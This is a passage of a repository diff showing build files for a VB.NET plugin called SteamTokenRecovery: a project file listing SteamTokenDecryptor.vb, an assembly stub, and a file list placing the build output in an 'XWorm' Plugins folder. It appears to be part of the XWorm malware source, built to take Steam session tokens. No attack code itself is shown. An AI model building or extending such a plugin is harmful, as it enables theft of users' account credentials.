<OptionInfer>On</OptionInfer>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Linq" />
|
||||
<Import Include="System.Xml.Linq" />
|
||||
<Import Include="System.Threading.Tasks" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Plugin.vb" />
|
||||
<Compile Include="SteamTokenDecryptor.vb" />
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
</Project>
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
' <autogenerated/>
|
||||
Option Strict Off
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName:=".NET Framework 4.7.2")>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1 @@
|
||||
4886777bb90b70af310bef210c9e012d4d3f28192ef2d9e63456ae73bccc69d6
|
||||
@@ -0,0 +1,27 @@
|
||||
C:\Users\byt3d4sh\Desktop\XWorm\bin\Debug\Plugins\SteamTokenRecovery.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm\bin\Debug\Plugins\SteamTokenRecovery.pdb
|
||||
C:\Users\byt3d4sh\Desktop\XWorm\bin\Debug\Plugins\SteamTokenRecovery.xml
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.vbproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.Resources.resources
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.vbproj.GenerateResource.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.vbproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.dll
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.xml
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.pdb
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm\bin\Debug\Plugins\SteamTokenRecovery.dll
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm\bin\Debug\Plugins\SteamTokenRecovery.pdb
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm\bin\Debug\Plugins\SteamTokenRecovery.xml
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.vbproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.Resources.resources
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.vbproj.GenerateResource.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.vbproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.dll
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.xml
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.pdb
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.vbproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.Resources.resources
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.vbproj.GenerateResource.cache
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.vbproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.dll
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.xml
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\SteamTokenRecovery\obj\Debug\SteamTokenRecovery.pdb
|
||||
Binary file not shown.
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>
|
||||
SteamTokenRecovery
|
||||
</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:SteamTokenRecovery.My.Resources.Resources">
|
||||
<summary>
|
||||
A strongly-typed resource class, for looking up localized strings, etc.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:SteamTokenRecovery.My.Resources.Resources.ResourceManager">
|
||||
<summary>
|
||||
Returns the cached ResourceManager instance used by this class.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:SteamTokenRecovery.My.Resources.Resources.Culture">
|
||||
<summary>
|
||||
Overrides the current thread's CurrentUICulture property for all
|
||||
resource lookups using this strongly typed resource class.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
Reference in New Issue
Block a user